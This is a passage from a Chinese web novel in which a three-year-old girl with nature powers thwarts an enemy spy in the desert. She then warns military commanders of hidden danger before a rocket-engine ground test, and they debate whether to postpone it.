树影在月光下无助地摇晃,枝叶簌簌作响,像是在发出痛苦的呻吟。落在甜甜的耳朵里,那分明就是小树们在向她发出求救的呼唤!
可怜的小树们,一定都给吓坏了!
甜甜攥紧了拳头,原本的恐惧瞬间被熊熊怒火取代!
怎么会有这么坏的人呢?
小树和红果果这么好,是能救基地叔叔阿姨们的宝贝,这个坏叔叔居然要把它们全都烧光?!
“坏蛋!大坏蛋!”她在心里呐喊,“甜甜一定要打败你!”
“三——”
万洪辛又踏上一步,鞋底踩在沙粒上,甜甜瞪着他的脚下,一个念头,像闪电一样划过脑海——沙子既然能救自己,说不定,也能保护小树和红果果!
“二!甜甜,再不出来,叔叔真的要烧树林了!”
当然,就算你现在出来,我也会把树林烧光的。
他不无恶毒地想。
“沙子,帮帮我!”甜甜在心里拼命大喊,“把坏人困住!别让他烧树!”
沙粒似乎真的听到了她的呼唤,开始微微颤动。
万洪辛的嘴角勾起一抹狞笑,他笃定这小丫头就在林子里,只要火一烧起来,她肯定会哭着跑出来。
他又往前迈了一步,准备念出最后一个数字。
脚下的沙子忽然往下一陷。
万洪辛眉头微蹙,低头一瞥,只当是沙漠里常见的虚沙,丝毫没放在心上。
“一!”
他抬高了声音,高高举起火把,准备一下子扔进树林里。
“甜甜,不能怪叔叔,谁让你这么不听话!”
刚一动作,脚下的流沙突然加速塌陷,像是有只无形的手,猛地拽住了他的脚踝。
“嗯?!”万洪辛脸色骤变,下意识就想后退。可这一动,反而陷得更深!
流沙像是有了生命,以惊人的速度漫过他的小腿,爬上膝盖,还在不断向上
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吞噬!
“什么鬼东西?!”他惊叫一声,手中的火把脱手坠落,瞬间就被翻涌的流沙吞没。他拼命挣扎,试图拔出深陷的双腿,但沙子的力量大得超乎想象——越是用力,陷落的速度就越快!
他试图去掏怀里的**,可手臂还没来得及抬起,流沙已经淹至胸口,将他的双臂牢牢困在身侧!
“救……救命!”他慌乱地朝着黑暗喊叫,声音里是变了调的恐惧,“甜甜?是你?!是不是你搞的鬼?!”
“你到底做了什么?!”
回答他的,只有夜风拂过沙棘叶的沙沙声。
“快放了我!我是你爸爸的战友啊!我是好人!”
他拼命地嘶吼着,冲着空无一人的树林哀求,“甜甜,你快出来!叔叔错了!叔叔不烧树了!你放了我!”
“呸!大骗子!”甜甜在沙坑里冷哼,“我才不会上你的哪呢。”
流沙仍在缓缓蠕动,一点一点,漫过他的胸口,攀上脖颈,最后在下巴处停了下来。
他被牢牢地钉在沙中,只有脑袋还露在外面,像一株被强行栽种的怪异植物。他徒劳地扭动着脖颈,仰头大口喘气,嘴里混杂着恶毒的咒骂、虚弱的哀求,还有绝望的哭泣。
夜色如墨,万籁俱寂,无人回应。
甜甜这才长长地舒了一口气。可精神一松懈,排山倒海的疲惫感立刻席卷而来,让她连抬起眼皮的力气都没有了。
恍惚间,她似乎听到了周围小树们的表扬和感谢,树叶发出沙沙的响声,像是在为她鼓掌。
“甜甜好厉害!”
甜甜抿着嘴笑了笑,想回应,困意却像潮水般涌来。
恍惚中,她又被妈妈紧紧抱住,连爸爸都亲了亲她的小脸蛋,两个人一起温柔地看着她。
“爸爸,妈妈……甜甜是小勇士哦……”
她含糊地呢喃着,歪过小脑袋,枕在妈妈虚幻的臂弯里。
沙坑温暖又安全,甜甜沉沉地睡了过去。
圆月高悬,清辉洒落,沙棘林重归寂静。
只有那个被流沙困住的男人,还在徒劳地、一声接一声地发出困兽般的哀嚎。
第29章 绝境逢生!沙漠霸主来助阵
这一觉甜甜睡得分外香甜,等到暖烘烘的太阳晒在身上时,甜甜才动了动小脚丫,张开小手抻了个懒腰。
沙棘树枝垂下来,拂过她的小脑袋,像是在和她打招呼。
甜甜被逗得笑了,刚想伸手拨开树枝,忽然眼睛一瞪,吓得“呀”了一声。
不远处的沙子里,竟埋着一个黑乎乎的东西,看上去又恐怖、又瘆人。
她这才想起来,昨晚的坏人被沙子困了一宿,现在,还像根人形木棍插在沙子中,只剩下一个圆溜溜的,看不出五官的脑袋。
怎么才能把这个坏人交给爸爸呢?
甜甜想,只要找到爸爸,爸爸一定能收拾这个大坏蛋。
她从口袋里翻出鞋子穿上,昨天掉下来的树枝和红果果完好无损地躺在地上,甜甜摘了几个果子放在嘴里,哇,又酸又甜,人立刻就精神了。
“红果果,小树,还有沙子朋友们。甜甜要去找爸爸了,这个坏人交给你们看着。要是他还敢烧树,你们就把他打趴入!”
甜甜认真交代完,拖着儿臂粗细的树枝,开始往沙丘上爬。
说也奇怪,不但果子结实地长在枝桠上一颗不掉,连昨天高高的沙丘都自动托举着她,甜甜每迈一步,都感觉脚下传来力量,原本高高的沙丘很快就被她翻过去了。
她找到昨天的方向,回头看了看自己的“战利品”,更觉信心满满。
她高高举起树枝,像举着一把胜利的旗帜,脆生生地喊:“甜甜要去找爸爸啦!出发!”
沙地向远处一望无尽的延伸,它们像是风匠手中的玩具,被捏成各种各样的形状。
或是高耸的城堡,或是伏卧的巨龙,或是神秘的舰队,仿佛只要船长登高一呼,就能扬起沙帆,驶向星辰大海。
甜甜穿行在这幅奇崛壮丽的画卷里,看得目不暇接,小嘴巴就没合上过。
“哇,这个好像小汽车啊。”
“这个圆圆的,是大苹果!”
“哈哈哈,这个明明就是一只小狗嘛!”
她一边走,一边骄傲地夸奖着自己,“甜甜懂得可真多呀,我果然最聪明啦!”
渴了饿了,她便摘几颗沙棘果。反正枝头的果子又多又结实,怎么摘也摘不完的。
不知走了多久,她停下脚步,轻轻喘了口气。
就在这时,身后传来“咚咚”的闷响,像是有沉重的脚步声,正飞速向她逼近!
甜甜回过头,瞬间吓呆了——
远处沙尘翻滚,一个人正朝着她狂奔而来,只见他浑身裹满沙土,头发蓬乱,一双眼睛死死盯着她,喷射出恶毒的怒火!
“臭丫头!给我站住!”
“是、是那个大坏人!”甜甜浑身一颤,“他怎么跑出来了?”
甜甜怎么也想不明白,这人明明被流沙困住了,怎么又挣脱出来了?
她不知道的是,当她离开沙棘林的范围,那股神奇的力量便消失了。
沙子不再形成困住他的陷阱,万洪辛挣扎了半天,费了九牛二虎之力从坑里爬出来,差点丢了半条命。
他从来没吃过这么大的亏!
竟然栽在一个三岁的小奶娃手里!
这口气,他咽不下去!
更何况,如果甜甜认出了他的身份,抢先一步向基地揭发,他的退路就彻底断了!
绝不能放过她!
万洪辛在沙地上缓了缓力气,眼看再耽搁下去,就要追不上了。他连放火烧林的念头都顾不上了,连滚带爬地冲出沙丘,朝着甜甜的方向疾追而来!
成年人的速度,本就不是一个三岁孩子能比的。更何况,万洪辛还是个久经训练的特工!
几个起落间,双方的距离就已经越拉越近。
甜甜的小短腿拼命往前迈,手里攥着的树杈都快捏不住了,小脸吓得惨白。
“爸爸……爸爸……甜甜要被坏人抓住了……呜呜呜……”
她心里越着急,脚下就越慢,尤其是万洪辛还在身后恶狠狠地吼:“站住!再跑我就打死你!”
甜甜彻底慌了!
心脏砰砰砰地跳得像要炸开,脑子一片空白,脚下一绊,“扑通”一声,整个人摔在了沙地上。
她就像被施了定身咒的小红帽,呆呆地坐在沙子里,连哭都忘了,更别说躲了。
“好可怕……坏人抓过来了……沙子沙子……你再把甜甜藏起来吧……”
她哽咽着,小手胡乱地扒拉
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着沙子。
可现在是白天啊!
就算她把自己埋进沙子里,也会被万洪辛一眼看见的!
眼看万洪辛离她只有几步之遥!
那只黑黢黢的大手,像恶魔的爪子,正朝着她的小胳膊抓来!
“看你往哪跑!”
千钧一发之际!
脚下的沙子,突然剧烈地动了起来!
万洪辛脚下一滑,他吃过流沙的亏,立刻像惊弓之鸟般,猛地向后跳开!
只见沙层如同海浪般,猛地往两边一分,一只庞大的身躯慢慢昂起头颅,像是被人打扰了安静的睡眠,发出了“嘶嘶”的咆哮声。
它的身上覆着厚厚的鳞甲,脑袋窄长而丑陋,四肢后短前长,趾尖带着锋利的爪子,身后还拖着一条粗壮有力的大尾巴。
是沙漠巨蜥!
沙漠之中的霸主!
紧接着是第二只、第三只、第四只……
它们原本盘踞在沙层下,不知是听到了甜甜的求助者,还是被万洪辛的脚步惊动。
甜甜长这么大,从没见过这么吓人的怪物,小姑娘再也忍耐不住,“哇”的一声哭了出来,两条小腿在地上乱蹬:“救命呀,甜甜要被怪兽吃掉啦。呜呜呜……甜甜再也见不到爸爸了……”
相比之下,万洪辛更是惊骇欲绝!
那些巨蜥压根没理会甜甜,反而把长长的信子,对准了他!
冰冷的目光,锋利的牙齿,都在昭示着它们的敌意。
眼看小丫头就要到手,他做梦也没想到,竟然会突然杀出这么多“程咬金”!
难道这些畜生,也垂涎这小奶娃的肉,想跟他抢食?
这种沙漠巨蜥,性格暴虐凶狠,连毒蛇都不放在眼里!他哪里是这几只畜生的对手!
万洪辛后退几步,审时度势,觉得自己占不到便宜,但要他现在放手,他压根不甘心!
想到这里,他当即掏出怀里的**,黑洞洞的枪口瞄准了其中一只巨蜥!
这畜生虽然皮厚,未必能抵挡得住**!
他只要先射杀一只,剩下的说不定就会四散溃逃!到时候,想抓那个小丫头,还不是易如反掌?
无毒不丈夫!
就这么办!
第30章 绝境翻盘!小甜甜骑巨蜥勇闯禁区
万洪辛的手指扣紧**,用力向下一按——
“……”
没有任何反应。出乎意料的是,**早已被沙子堵塞,这一枪竟成了哑弹!
万洪辛愣住了。
居然……会发生这种事?
他简直不敢相信。
巨蜥却已经判断出他的恶意,这大家伙没再给他机会,粗壮的尾巴横空一扫,“砰”的一声,正砸在万洪辛的腰上。
他像个被抛出去的人形沙包,整个人腾空飞起,在空中划出一道长长的弧线。
“啊啊啊啊啊——!”
凄厉的惨叫声,在沙漠上空回荡。
下一秒——
“噗通!”他五体投地,狠狠摔在了地上
无巧不巧,身下正是一丛茂密的骆驼刺。枝条上细长的硬刺瞬间扎进皮肉,万洪辛身上顿时多了几个血窟窿,活像只漏气的气球。
若不是身上那件厚棉袄,只怕这一下就能把他扎成筛子。
万洪辛疼得叫都叫不出来了。
而更让他感到极致恐惧的是,如果这些巨蜥闻到他身上的血腥味,一拥而上……
那他连**的都不知道!
好在,不幸中的万幸。为首的那只巨蜥,突然掉转了头,朝着甜甜走了过去。
其余的几只也都跟在后面,庞大的身躯把甜甜遮了个严严实实。
万洪辛再也坚持不住,料想甜甜一定会被蜥蜴撕成碎片,那血腥的一幕加上身上的伤痛,让他眼前一黑,彻底晕了过去。
另一边,甜甜吓得连眼睛都不敢睁,恨不得把自己缩成一团小小的皮球。
“呜呜呜……不要吃甜甜……甜甜还没看到爸爸呢……”
“大怪兽,你们快走开。”
她正捂着脸哭得上气不接下气,忽然间身子一轻,一个长长的、软软的、黏黏的东西,缠上了她的腰,轻轻一用力,就把她提了起来。
“哇——!”甜甜吓得哇哇大叫,眼睛闭得更紧了。
“大怪兽放开我!呜呜呜……”
甜甜感觉自己坐到了一个实处。触感又硬又凉,却异常平稳。
她还没反应过来,身子轻轻一颠,竟然不由自主地动了起来!
“嗯?”甜甜哭得一噎,有点糊涂了。
大怪兽不是要吃她吗?难道是像妈妈故事里讲的那样,先把她抓到山洞里,再慢慢吃?
“啊啊啊……甜甜不要被吃……大怪兽坏……”
她一边哭,一边胡乱地挥舞着小手。
可那只“大怪兽”,不但没咬她,反而驮着她,跑得稳稳当当。
风轻轻吹过,撩起她额前的碎发,拂过她的小辫子,像是在温柔地抚摸她。
渐渐地,甜甜停止了哭泣。
她小心翼翼地,将右眼睁开了一条缝。
咦?
两边的沙子,为什么在**啊?
甜甜这是……骑在了大怪兽的身上?
她发出一声小小的惊呼,慢慢把左眼也睁开了。
一转头,只见旁边还跟着好几只一模一样的巨蜥。这些大家伙,正驮着她,在沙漠上飞速奔跑!
而其中一只巨蜥的嘴里,竟然还叼着她之前捡的那根长满红果果的树枝!
“哇……大怪兽没吃甜甜啊……”
小丫头惊魂未定,那颗吓得快要跳出来的小心脏,总算落回了原处。
她终于想明白了!大怪兽不但不吃她,还让她骑“大马”呢!
“大怪兽,你们不吃甜甜啦?是不是因为……甜甜是好孩子呀?”
旁边一只巨蜥翻了翻暗黄色的眼睛。那眼神仿佛在说:小笨蛋。
甜甜这回彻底不怕了。
她试探着伸出小手,慢慢放在了巨蜥的头上。这庞然大物竟然没有躲,反而温顺地抬起头,用冰凉坚硬的鳞甲在她掌心蹭了蹭。
“嘻嘻……”甜甜觉得有点痒,忍不住笑了起来。
清脆的童音天真又可爱。
“你好呀,大怪兽。我叫甜甜。谢谢你来帮我赶走坏人。”
巨蜥吐了吐长长的舌头,大脑袋轻轻点了点,像是在回应她。
原本距离实验场地还有一里多的路。在巨蜥们的飞速奔跑下,已经变得越来越近。甜甜抬起头,远处高耸的发射架像巨人般伸向天空,
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几座圆顶的测控站散布其间,塔顶的风速仪、风向标和雷达天线正在缓缓旋转,那整齐划一的布局和肃穆的氛围,与周围随性的沙丘形成了鲜明对比。
“那里!爸爸和爷爷们都在那里!”
甜甜兴奋地伸手一指。巨蜥像是能听懂她的话,立刻调整方向,载着她朝着前方飞奔而去。
很快,他们就到了目的地。路边矗立着一块巨大的警示牌,上面写着几个醒目的大字:前方禁行!
再往前,便是层层叠叠的铁丝网,冰冷的探照灯、高耸的瞭望塔、以及荷枪实弹、严阵以待的士兵。
这里的戒备比基地更加森严,进出除了特别通行证,还要经过重重身份核验。
巨蜥在禁行牌前停下,弯下脖颈,让甜甜滑到地上。
禁行区域,连动物都不敢轻易靠近。
甜甜不认识牌子上的字,但她能清晰地感受到那股冰冷肃杀的气氛。
“谢谢你了,大怪兽。”小姑娘踮起脚尖,又一次轻轻拍了拍巨蜥的头,然后从另一只巨蜥的嘴里,接过了那根缀满红果果的树枝。
巨蜥似乎能听懂她的话。它窄长的脑袋偏了偏,暗黄色的眼珠看了她一眼。随即转身,与同伴们迅速消失在沙丘之后。
甜甜独自一个人拖着树枝,朝着岗哨走去。
才走了没几步,立刻便有卫兵发现了她。
两名卫兵**上前,断喝道:“站住!什么人!举起手来!”
他们并非不知道眼前只是个幼童,但在残酷的战争年代,丧心病狂的敌人曾多次利用孩童充当人体**。因此,无论面对何人,他们都必须严格检查。
甜甜望着黑洞洞的枪口,大眼睛无辜地眨了眨:
“叔叔,我叫甜甜。我要找梁哲——他是我爸爸。”
这几名卫兵常年戍守在实验场,并不参与基地生活,因此不知道梁哲团长居然还有了个女儿,但梁哲的名字他们是知道的。两人对视一眼,其中一人道:“我去汇报。”说罢转身朝岗楼跑去。
另一外卫兵则始终寸步不离地监视着甜甜。
第31章 危险!三岁娃闯禁区报信,试车台藏致命危机
十分钟之后,岗哨那边传来急促的奔跑声。
甜甜从卫兵身后探出小脑袋,只见一个穿着军装的高大身影从岗楼里快步走出,身后跟着刚才去汇报的卫兵。那人步伐极快,军大衣下摆在风中扬起,尽管他戴着军帽,但甜甜一眼就认出来了——
“爸爸!”
甜甜大叫一声,她扔掉树枝张开双臂,像只小鸟般朝着梁哲的方向奔去。
梁哲是从实验场一路飞奔过来的。
他昨天已经接到甜甜失踪的电话,但为了不破坏既将开始的试车,他只能强压下心头的焦灼,暂时封锁了消息。
他知道,基地里的所有人都快急疯了,四处散开搜寻,可实验场是军事重地,无令不得靠近,搜寻工作只能在周边外围进行。
梁哲即便心急如焚,碍于军队铁的纪律,他也决不能私自离岗去寻找孩子。只能在心中默默祈祷试车顺利结束,届时甜甜能被找到,或者……她已经提前平安回到了基地。
所以,当接到哨兵的紧急电话,得知女儿就在禁区门口时,他什么都顾不上了,拔腿就以百米冲刺的速度跑了过来,一把将那个小小的身躯死死搂进怀里!
“谁让你乱跑的!”
向来对她宠溺有加、从不发脾气的梁哲,此刻声音里满是压抑不住的怒火和后怕。基地和实验场相距五公里,中间路况复杂,遍布流沙与险滩。一个小女孩独自行走,极有可能陷入流沙窒息,若是遇上沙尘暴,瞬间就会被黄沙吞噬。
越想越心惊,梁哲的手掌高高举起,最终落在了女儿的小屁股上,却轻得几乎没用什么力气。
“知不知道李阿姨她们都担心坏了?你要做坏孩子吗?!”
甜甜早料到爸爸会发火,但看着爸爸紧绷的眉头和眼底的红血丝,她又感到一阵内疚。不过,她可是给爸爸带来了“大礼物”的。
“爸爸,别生我的气,甜甜给你带了好东西。”
她说着,献宝似的举起那根沙棘树枝。
梁哲目光一凝,瞬间怔住了。方才他满心满眼都是女儿,竟没注意到她身后还拖着这样一根长满红果的枝桠。
这是——沙棘果?
沙漠中的“维C之王”。
基地好多人因为长期缺乏维生素摄入,正饱受牙龈出血、口腔溃疡等疾病的困扰。虽然前两天从镇上采购回一批水果,但也是僧多粥少,且难以持续供应。可甜甜拿到的这是什么?是一根长满果实的树枝,这意味着,在这片荒漠中,存在着一棵甚至多棵沙棘果树。
不,如果可能,这将会是一片沙棘果林!
那样一来,所有人的维生素补给难题,不就迎刃而解了?
“你,你发现了沙棘果树?”
“嗯,不是一棵树,是好多好多小树呢。”甜甜用力点头,小脸上满是骄傲。
居然真的是沙棘林……
梁哲手有些颤抖,看着那红澄澄的果子,伸手摘下两颗,擦了擦就要送进嘴里。
“梁团!”卫兵急忙制止,“就算这是沙棘果,难保甜甜一路拖过沙漠,沾染了什么细菌。况且,万一有敌人**……”
梁哲却笑了笑,语气坚定:“没事,我信我女儿。”说罢,将两颗果子送进嘴里。酸甜的汁水在唇齿间爆开,清洌又醇厚,让人瞬间精神一振。
“告诉爸爸,这些果树在哪儿?”梁哲眼眶微微泛红,激动地凝视着女儿。
甜甜抬手指向一个方向,小脑袋高高扬起:“就在那里!”她就知道,这份礼物爸爸一定会喜欢。
“好,太好了!”梁哲重新搂紧女儿,满心懊悔。刚才自己还打了她的小屁股,可这孩子一路跋山涉水,冒着这么大的危险来找自己,还带来了这么珍贵的礼物。“甜甜,痛不痛?爸爸错了,不该打你。”
此时他才看清,女儿的小手小脸全是脏兮兮的沙土,一双小脚丫在沙地里磨得通红,甚至有些破皮。
梁哲心疼得不行,恨不得打自己一巴掌,“爸爸向你道歉。”
甜甜搂住梁哲的脖子,在他脸上“吧嗒”亲了一口,软糯地说道:“没事没事,甜甜原谅爸爸啦。”
他转过身,冲卫兵吩咐:“把树枝带回去,沙棘果全部摘下来洗净,等经过检验科化验无毒后,立刻分给大家食用。”
“梁团,那你女儿发现沙棘树的事……”
“先不着急汇报,”梁哲把甜甜抱了起来,“一切等试车结束后再说。”
现在,所有事情都要为发动机试车让路。况且沙棘林生长在那,又不会跑。
他抱起女儿,对匆匆赶来的实验场警卫连连长快速交代:“通知基地,孩子找到了,在我这里,我这就安排车把她送回去。另外,立刻加强外围警戒,搜索附近区域,发现可疑人员立即控制!”
“是!”
“不,不嘛!”甜甜一听又要被送回基地,顿时急得大叫起来。她知道,如果现在告诉爸爸那里有危险,爸爸未必会
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信。情急之下,她脱口而出:“基地有坏叔叔!”
“你说什么?”
梁哲的动作猛地顿住了。
作为一名身经百战的高级军官,他的直觉告诉他,女儿没有说谎。
“哪个坏叔叔?甜甜,你有什么证据。”
“爸爸,坏叔叔姓万,他要烧小树,抓甜甜,是大怪兽救了我。”
甜甜说着,把来之前遭遇的事情断断续续地讲了一遍。小女孩说话颠三倒四,逻辑并不清晰,但那些关键要素——追杀、纵火、巨蜥相救,却被她描述得一清二楚。
梁哲越听,表情越严肃,瞳孔慢慢眯了起来,“小高!”
“到!”警卫连连长立正敬礼。
“立即联络基地:技术员万洪辛试图伤害我女儿,大概率有敌特背景。请求立即控制此人,全面搜查其宿舍和工作区!”
“是!”高连长转身疾步而去。
梁哲重新看向怀里的女儿。这个三岁的孩子,不仅独自穿越凶险的沙漠找到了自己,还无意中揭露了一个潜伏的隐患。“甜甜,你做得很好,但实验场不能让小朋友进入,你还是得回基地。爸爸会安排叔叔保护你,不用担心那个万叔叔。”
“不行不行!”甜甜见父亲仍然如此固执,急得小手乱挥,指着实验场深处那座银灰色的高大建筑,
“爸爸,那里有危险,那里有危险!”
梁哲顺着她指的方向望去,心头猛地一沉——那是发动机地面试车台!
可甜甜从未到过实验场,怎么会如此精准地指向核心区域?
“甜甜……”梁哲声音干涩,他心中升起一股强烈的不安,隐约觉得有什么不可预知的危机,正在那座钢铁巨兽的内部悄然逼近。
“你到底发现了什么?”
若是发动机真的存在致命隐患,整个“长剑”工程都将被迫停摆。
这个后果实在太可怕了。
但梁哲也知道,他赌不起,一旦甜甜说中了实情,他知情不报,造成的损失更是无法估量。
他犹豫了两秒钟,果断抱起甜甜,快步向实验场方向走去。
“梁团!”
卫兵急了,端着枪拦在前面:“你女儿还没经过安全检测和身份核验,不能进去!”
“核什么验!”梁哲猛地转过头,时间紧迫,他不能耽搁一分一秒,必须立刻向刘司令汇报,“她是我女儿,出了什么事,我来担!”
说罢,再不迟疑,抱着甜甜大步狂奔起来。
第32章 神级预言!司令面临最难抉择!
一路上,不断有科研人员和技术员投来惊诧的目光——实验场是绝对禁区,小甜甜绝不该出现在这里。
刚踏进指挥部,迎面就撞上了闻讯赶来的刘司令、王总设计师,以及几位核心专家。众人看见梁哲怀里的甜甜,都露出了震惊又复杂的表情。
“甜甜?!”刘司令快步上前,语气严厉,又隐隐透着关切,“你这孩子,怎么跑到这里来了?你晓不晓得,整个基地都快翻了天了!”
梁哲脸上一红:“司令,您已经知道了?”
“你们倒是想瞒着我!”刘司令怒冲冲地瞪了他一眼,“李桂华弄丢了甜甜,急得差点没跳河。啷么大的事,基地还能不告诉我。”
王总设计师也皱起眉头:“地面试车随时可能发生危险,你小孩子不应该来。这简直是胡闹!”
“司令,王总,是我没看好孩子,责任全在我……”梁哲立刻主动认错。
“刘爷爷,你不要批评爸爸,是甜甜自己要来的。”甜甜在梁哲的怀里扭动了下小身子,扬起小手指向试车台的方向,奶声奶气却异常坚定地说道:“那里,有危险!”
“你讲么子?”
刘司令脸色倏然变了,几位专家也都对视一眼,神色渐渐凝重起来。
在场所有人,都曾亲眼见证过甜甜的特殊能力——精准找到水源、发现鱼群、指明红薯地,就连镇上的维生素针剂和水果,也是靠她的提示才得到的。这孩子,从未出过差错。
“甜甜,”刘司令蹲下身,尽量让声音平和,“告诉爷爷,你觉得,那里有么子危险?”
甜甜抓了抓小辫子,努力描述:“就是……大房子里呜鸣鸣,咔嚓咔嚓,像爸爸的茶杯掉在地上那样……有个大管子,它说‘太烫了’‘要撑破了’……”
“‘太烫了’?‘要撑破了’?”几位专家面面相觑,满脸困惑,“这是什么故障?”
“甜甜,这话可不能乱说啊,”
系统研发室的黄伟志主任声音有些僵硬,他负责发动机设计与试制,根据钱老等总设计部提供的推力曲线、燃料流量、燃烧室压力等关键参数进行制作。
一旦发动机出现问题,他的责任首当其冲。
“那个喷射管子是我们所有人半年的心血,数据校对过几十次,不可能有问题。”
“黄主任,您先别急。”梁哲开口打断,他知道甜甜的描述太过突兀,很难让人信服,他转向刘司令,沉声道:“**,我接到甜甜时,她还向我反映了两个情况。第一,她发现了一片沙棘林;第二,有人不仅要破坏沙棘林,还要追杀甜甜。”
这句话说完,指挥部的气氛瞬间降至冰点。梁哲同时朝身后喊道:“高连长!”
警卫连高连长端着一小盆洗好的红色沙棘果,化工检验科的办事员也一同跟来了。
“司令,确实是上好的沙棘果,因为富含丰富的花青素,所以偏红色。这果子药食同源,对治疗心脏病、高血压等疾病都有很好的疗效,甜甜这是给咱们立大功了。”
“那第二个问题,”白旅长声音严肃,“谁要破坏树林,还要害甜甜?”
梁哲一字一顿地说出答案:“是前来支援的技术员,万洪辛。”
“是他?”
“怎么可能是他?”
“不会弄错了吧。”
质疑的声音接连响起,带着难以置信的震惊。很多人都知道,万洪辛随水利专家江国强以及地质专家郑宏和郑洪的助手高衍舟一同前来,为基地的建设出力不少,基地投入使用的循环制冷设备就出自他们的手笔。可同样的,在场的所有人也都不愿相信甜甜会撒谎。
“立刻给基地打电话,要注意保密。”刘司令当机立断。
电话铃声响了三秒便被接通,通讯兵汇报道:“司令,电话接通了!”
“让万洪辛接电话!”
“报告司令,万技术员跟随大部队出发寻找梁甜甜小朋友,现在还没回来。”
“那江国强呢?立刻控制住他!”刘司令语气冰冷。
几分钟后,电话再次急促响起,听筒里
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传来江国强愤怒的声音:“我是江国强!我要求见刘司令!”
刘司令开门见山:“江国强同志,万洪辛在哪儿?”
“洪辛?”江国强明显一愣,“他不是跟大伙一起离开基地,去找梁甜甜小朋友了吗?”他猛地醒过神,声音里满是怒火。“你要找他就找他,凭什么扣押我?”
“老子明确告诉你,万洪辛袭击甜甜,涉嫌敌特身份。”
“不可能!”江国强气地怒吼,“洪辛早年参加过地方**运动,后来被组织选派留苏深造,专攻水文地质。归国后一直跟着我从事科研工作,**审查和历史表现毫无问题!”
“这只是你的判断!现在我们有受害人的直接证词。”
“受害人是梁甜甜?一个三岁的孩子?”江国强气地发笑,“就凭一个孩子的话,就要把我们师徒俩打成敌特?我不服!我要向组织申诉!”
“我允许你向上级申诉,但现在,你必须接受严密监视与排查。”刘司令语气不容置疑,“当然,如果你能提供万洪辛的行踪,我们可以考虑让你将功赎罪。”
“我根本不知道他的行踪!”江国强怒不可遏地爆了粗口,“刘振邦,我告诉你,要是你找不到我通敌的证据,我一定回京城告你滥用职权!”
“啪”的一声,电话被狠狠挂断,指挥部内陷入一片死寂。
刘司令深吸一口气,打破沉默:“同志们,现在情况非常严峻。如果敌特分子就是万洪辛,我们不但要抓到他,还要彻查他这段时间到底搞了多少破坏。白树勇同志!”
白旅长立刻起身:“司令!”
“通知基地留守部队,全面搜捕万洪辛,务必将其截留在戈壁范围内,绝不能让他逃脱。同时要封锁进入镇子的所有入口,谨防他从镇上逃脱。”
“是!”白旅长当即拿起内线电话传达命令。
“接下来,”刘司令环顾四周,目光沉重,“我们要做一个最艰难的抉择。明天上午九点的地面试车,到底是搞,还是不搞?”
第33章 倒计时14小时!钱老一言定乾坤!
王总设计师推了推眼镜,转向刘司令,神色凝重。
“司令,甜甜的话绝对不能忽视。这孩子的能力,我们大家有目共睹。她说的‘咔嚓’声,极有可能对应金属疲劳断裂。至于那‘呜呜’声……”
他想了想,“该不会是发动机燃油管路出现了气蚀,或者是涡轮泵发生了喘振吧?”
刘司令背着手,在指挥部里来回踱步。
窗外,试车台沉默地矗立在暗夜中,仿佛一头蛰伏的巨兽。明天,那里将进行决定“长剑”工程命运的点火试车。京城**,整个国家,甚至全世界,都有无数双眼睛紧盯着这里。
如果现在叫停,就意味着承认技术决策可能存在重大失误,意味着半年来的心血可能付诸东流,意味着要在上级与世界面前颜面尽失。
可若是强行按计划试车,而甜甜的预警是真的……
他停下脚步,看向被梁哲抱在怀里的甜甜。小姑娘依偎在父亲肩头,小手紧紧攥着爸爸的衣领,眼神清澈而担忧。
“梁哲,”刘司令突然问,“你有么子想法?”
梁哲挺直腰板,目光坚毅:“司令,作为军人,我坚决服从命令。作为父亲……”他顿了顿,抱紧了女儿,“我相信我的孩子。她冒着危险穿越沙漠来找我,绝不是为了说一句‘玩笑话’。”
“距离明天试车还有14小时。”
刘司令的声音很轻,却如千钧大石沉甸甸地压在众人心头,“现在两个选择:第一,按计划试车,赌我们所有的计算都没得错,赌我们半年的心血不会炸成碎片。第二,暂停试车,全面复查,‘长剑’工程将会无限期推迟。”
他的目光扫过在场的每一张面孔:“举手表决吧。同意暂停试车的,举手。”
漫长的沉默。
梁哲第一个举起手。
燃料系统负责人,化工组李工犹豫了片刻,咬了咬牙,也举起了手。
接着是制导组、测试组……
最后,总设计师缓缓举起右手,声音沙哑:“我是总师……我不能拿同志们的生命冒险。”
五比五。
平局。
“甜甜虽然屡建奇功,但这次的情况和其他的都不一样。这是高精尖的数据推演和精密测算,容不得半点马虎。而我们之前已经做了充足的准备,不应该因为一个孩子的话就全盘否定。”黄伟志主任攥紧了拳头。
“你别忘了万洪辛还没抓到!”有人反驳,“谁能保证他没有在发动机上留下致命后门?”
“先别说还没抓到万洪辛,就算抓到了,他是搞水利的,他能懂咱们的各项核心数据?”另一派据理力争。
另有人嗤之以鼻:“你们不要小瞧敌特的渗透能力和破坏手段!”
“司令,试验失败不要紧,至少我们能拿到部分宝贵的数据。”
“那造成的物资损耗和经济损失谁来承担?”
正当双方争得面红耳赤、不可开交之际,门外突然传来一声粗犷的嗓音:
“报告!”
宋大壮的声音打破了僵局,“钱老提前从医院回来了。”
“钱老?不是说好明天让梁哲去接你吗?”刘司令又惊又喜。
“我等不及了,司令。”钱老的声音虽然虚弱,却透着一股焦急,“同志们,你们这是在做什么?”
众人立刻围拢,将事情的前因后果向钱老详细汇报了一遍。
听完这一切,钱教授并没有急着表态,而是走到甜甜身前,他蹲下身子,目光慈祥地看着脏兮兮的小团子,轻声问道:“乖囡,你再仔细听听,那大管子里还有没有别的动静?”
甜甜在钱老温和的注视下,拧着的小眉毛慢慢舒展开。她伸出小手,一边努力思考,一边在空中慢慢比画:“嗡嗡嗡,轰轰轰……好像是蜜蜂生气啦。”
钱教授闭上眼睛,眉头微微皱起,大脑在飞速地运转。
指挥部内落针可闻,所有人都在等待这位国宝级科学家的最终裁决。
时间一分一秒地流逝。
每个人都紧张得憋着一口气。
空气也为之凝滞,大家耳膜中只传来彼此震动的心跳声,以及指挥所外,那隐隐的机电嗡鸣。
也许一分钟,也许更久,钱教授终于缓缓睁开了眼睛。
“司令,”他深深吸了一口气,声音不大,却带着不容置疑的分量。“我以总设计师的名义,请求立即暂停试车计划。”
“钱老!”黄主任失声惊呼:“为什么!”
“我们输不起。”钱教授长叹
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一声,扶着膝盖站了起来。他大病初愈的脸上仍带着苍白,眼神却异常坚定:“这次试车,是举国之力托举的希望,不仅是我们的心血,更是全国人民从牙缝里省出来的家底!它不容有失,更不容许任何资源浪费。”
“我们可以不要这个面子,但必须对人民负责,不能如此不负责任地乱试。科学是严谨的,容不得半点侥幸,否则,那就是犯罪!”
“可是钱老,我们的模态分析做过上百次,所有频率都在安全阈值内啊!”
